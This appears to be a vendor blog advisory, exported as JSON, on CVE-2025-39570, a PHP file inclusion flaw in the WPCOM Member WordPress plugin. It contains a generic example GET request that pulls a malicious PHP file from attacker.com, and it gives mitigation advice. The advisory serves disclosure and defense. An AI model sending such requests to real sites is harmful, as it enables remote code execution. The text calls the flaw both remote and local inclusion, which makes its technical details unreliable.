{"id":29634,"date":"2025-04-23T07:52:02","date_gmt":"2025-04-23T07:52:02","guid":{"rendered":""},"modified":"2025-09-11T20:15:53","modified_gmt":"2025-09-12T02:15:53","slug":"cve-2025-39570-critical-php-remote-file-inclusion-vulnerability-in-lomu-wpcom-member","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-39570-critical-php-remote-file-inclusion-vulnerability-in-lomu-wpcom-member\/","title":{"rendered":"<strong>CVE-2025-39570: Critical PHP Remote File Inclusion Vulnerability in Lomu WPCOM Member<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>A critical vulnerability, designated as CVE-2025-39570, has been identified in Lomu&#8217;s WPCOM Member. This vulnerability, which stems from an improper control of filename for Include\/Require Statement in a PHP program, allows for potential PHP Local File Inclusion (LFI). This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-43245-critical-downgrade-issue-affecting-multiple-macos-versions\/\"  data-wpil-monitor-id=\"81796\">issue affects<\/a> the versions from n\/a through 1.7.7 of the WPCOM Member. As a result, it can potentially <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-0213-buffer-overflow-vulnerability-in-ta-for-linux-and-macos-leading-to-system-compromise\/\"  data-wpil-monitor-id=\"33891\">lead to system<\/a> compromise or data leakage, making it a significant cybersecurity concern.<br \/>\nWith a CVSS Severity Score of 8.8, this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-31637-high-risk-sql-injection-vulnerability-in-lambertgroup-shout\/\"  data-wpil-monitor-id=\"51886\">vulnerability presents a high risk<\/a>. It&#8217;s pertinent for system administrators, developers, and <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-2563-privilege-escalation-vulnerability-in-user-registration-membership-wordpress-plugin\/\"  data-wpil-monitor-id=\"35844\">users of the WPCOM Member software to understand this vulnerability<\/a>, its potential impact, and the necessary steps required to mitigate it.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-39570<br \/>\nSeverity: High (8.8 CVSS Score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-2007-wordpress-plugin-vulnerability-leads-to-arbitrary-file-deletion-and-potential-system-compromise\/\"  data-wpil-monitor-id=\"34600\">System compromise and potential<\/a> data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-1212323837\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Lomu WPCOM Member | n\/a through 1.7.7<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-26683-improper-authorization-vulnerability-in-azure-playwright\/\"  data-wpil-monitor-id=\"35682\">vulnerability is due to an improper<\/a> control of filename for Include\/Require Statement in PHP within the WPCOM Member software. This allows a malicious actor to include a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-48243-critical-remote-code-execution-vulnerability-allowing-unauthorized-file-upload\/\"  data-wpil-monitor-id=\"34104\">file from a remote<\/a> server that can be executed within the context of the application. This can lead to unauthorized <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-21860-arbitrary-code-execution-vulnerability-in-openharmony\/\"  data-wpil-monitor-id=\"33855\">execution of arbitrary code<\/a>, allowing the attacker to potentially compromise the system or cause data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-3633666219\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Below is a conceptual example of how the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-50123-exploitable-vulnerability-in-hozard-alarm-system-sms-authentication\/\"  data-wpil-monitor-id=\"34945\">vulnerability might be exploited<\/a>. This represents a malicious HTTP request that includes a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-24797-remote-code-execution-vulnerability-in-meshtastic-s-mesh-networking-solution\/\"  data-wpil-monitor-id=\"34220\">remote file with malicious PHP code<\/a>.<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/index.php?file=http:\/\/attacker.com\/malicious_file.php HTTP\/1.1\nHost: vulnerable_site.com<\/code><\/pre>\n<p>In this example, the attacker uses a GET request to include a malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32668-critical-php-remote-file-inclusion-vulnerability-in-rameez-iqbal-real-estate-manager\/\"  data-wpil-monitor-id=\"34968\">PHP file<\/a> hosted on their own server. When the request is processed by the vulnerable application, the malicious file is included and executed, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-52304-stack-overflow-vulnerability-in-paddlepaddle-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"34027\">potentially leading to a system<\/a> compromise.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>To mitigate this vulnerability, users are advised to apply the vendor patch as soon as it becomes available. In the meantime, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary measure to detect and <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-38657-out-of-bounds-write-vulnerability-in-gtkwave-lxt2-zlib-block-decompression\/\"  data-wpil-monitor-id=\"43176\">block attempts to exploit this vulnerability<\/a>. Furthermore, it&#8217;s recommended to restrict the input of the Include\/Require statements in the PHP application to prevent the inclusion of <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-6220-piotnet-forms-plugin-vulnerability-in-wordpress-allows-arbitrary-file-uploads\/\"  data-wpil-monitor-id=\"34535\">files from arbitrary<\/a> sources.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview A critical vulnerability, designated as CVE-2025-39570, has been identified in Lomu&#8217;s WPCOM Member. This vulnerability, which stems from an improper control of filename for Include\/Require Statement in a PHP program, allows for potential PHP Local File Inclusion (LFI). This issue affects the versions from n\/a through 1.7.7 of the WPCOM Member. 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